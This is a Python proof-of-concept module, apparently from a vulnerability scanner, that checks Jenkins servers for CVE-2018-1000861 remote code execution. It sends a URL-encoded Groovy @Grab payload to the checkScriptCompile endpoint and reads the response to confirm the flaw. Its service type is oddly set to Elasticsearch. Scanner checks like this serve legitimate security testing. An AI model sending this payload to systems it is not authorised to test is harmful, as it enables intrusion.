/script/jenkins/CVE-2018-1000861.py

https://github.com/orleven/Tentacle · Python · 35 lines · 29 code · 3 blank · 3 comment · 8 complexity · 9cc13ae1f0c5d4e292a87b853bdc01be MD5 · raw file

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # @author = 'orleven'
  4. import random
  5. from lib.utils.connect import ClientSession
  6. from lib.core.enums import VUL_LEVEL
  7. from lib.core.enums import VUL_TYPE
  8. from lib.core.enums import SERVICE_PORT_MAP
  9. from script import Script, VUL_TYPE, VUL_LEVEL
  10. class POC(Script):
  11. def __init__(self, target=None):
  12. self.service_type = SERVICE_PORT_MAP.ELASTICSEARCH
  13. self.name = 'CVE-2018-1000861'
  14. self.keyword = ['jenkins']
  15. self.info = 'CVE-2018-1000861'
  16. self.type = VUL_TYPE.RCE
  17. self.level = VUL_LEVEL.CRITICAL
  18. self.refer = 'https://github.com/chaitin/xray/blob/master/pocs/jenkins-cve-2018-1000861-rce.yml'
  19. Script.__init__(self, target=target, service_type=self.service_type)
  20. async def prove(self):
  21. await self.get_url()
  22. if self.base_url:
  23. if self.base_url != None:
  24. async with ClientSession() as session:
  25. random_str = str(random.randint(100000, 999999))
  26. url = self.base_url + "securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27" + random_str+ "%27,%20version=%271%27)%0aimport%20Payload;"
  27. async with session.get(url=url, allow_redirects=False) as res:
  28. if res and res.status == 200:
  29. text = await res.text()
  30. if 'package#' in text and random_str in text:
  31. self.flag = 1
  32. self.res.append({"info": url, "key": "CVE-2018-1000861"})